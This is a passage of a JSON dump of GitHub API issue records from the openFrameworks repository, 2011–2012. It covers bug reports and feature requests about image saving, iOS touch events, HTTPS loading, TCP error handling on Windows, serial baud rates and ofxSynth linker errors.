is\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","comments":1,"milestone":null,"number":643,"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","assignee":null,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-12T13:05:25Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":1208289,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","comments":0,"milestone":null,"number":642,"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone: Possible delayed input/touch event issue ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T02:46:23Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1205789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","comments":1,"milestone":null,"number":631,"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","assignee":null,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-07T21:37:47Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1185346,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":623,"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","assignee":null,"title":"ofLoadURL() does not work with httpS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-06T18:12:06Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1175654,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","comments":0,"milestone":null,"number":618,"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","assignee":null,"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-05T18:23:34Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1169032,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","comments":0,"milestone":null,"number":612,"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","assignee":null,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-06-27T18:30:26Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1124068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","comments":4,"milestone":null,"number":605,"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","assignee":null,"title":"function wrapping glMultMatrixf in ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-16T13:13:35Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1067300,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL URLWithString:ofxStringToNSString(url)]];\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","comments":0,"milestone":null,"number":603,"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofLaunchBrowser() for iPhone not implemented","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-13T13:03:15Z","state":"open","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":1048971,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the connection\r\n\r\nThis error happens in every use of ofxTCPClient.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","comments":1,"milestone":null,"number":599,"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","assignee":null,"title":"TCPManager Consistent Error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-08T23:02:28Z","state":"open","user":{"url":"https://api.github.com/users/tomorrowevening","gravatar_id":"f92a8e912b59171abde0354e2f212c12","login":"tomorrowevening","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":626143},"id":1027184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","comments":0,"milestone":null,"number":591,"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","assignee":null,"title":"problem with ofImage resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-01T13:56:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":984564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","comments":0,"milestone":null,"number":590,"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","assignee":null,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-05-31T11:31:08Z","state":"open","user":{"url":"https://api.github.com/users/cristobal","gravatar_id":"c7f941e0c10696b758ae8792714a6744","login":"cristobal","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":155505},"id":978212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","comments":0,"milestone":null,"number":589,"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","assignee":null,"title":"setFromPixels vs setFromExternalPixels","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-31T02:06:22Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":976610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","comments":5,"milestone":null,"number":582,"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","assignee":null,"title":"templated code needs to be more readable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-23T17:46:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":942647,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","comments":2,"milestone":null,"number":577,"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","assignee":null,"title":"ofSerial: add 230400 speed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-20T16:16:52Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":932655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","closed_issues":0,"number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":576,"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","labels":[],"closed_at":null,"created_at":"2011-05-19T14:49:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927378,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"}},{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"html_url":"https://github.com/openframeworks/openFrameworks/issues/572","assignee":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":895515,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"html_url":"https://github.com/openframeworks/openFrameworks/issues/569","assignee":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883385,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"html_url":"https://github.com/openframeworks/openFrameworks/issues/568","assignee":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883380,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit 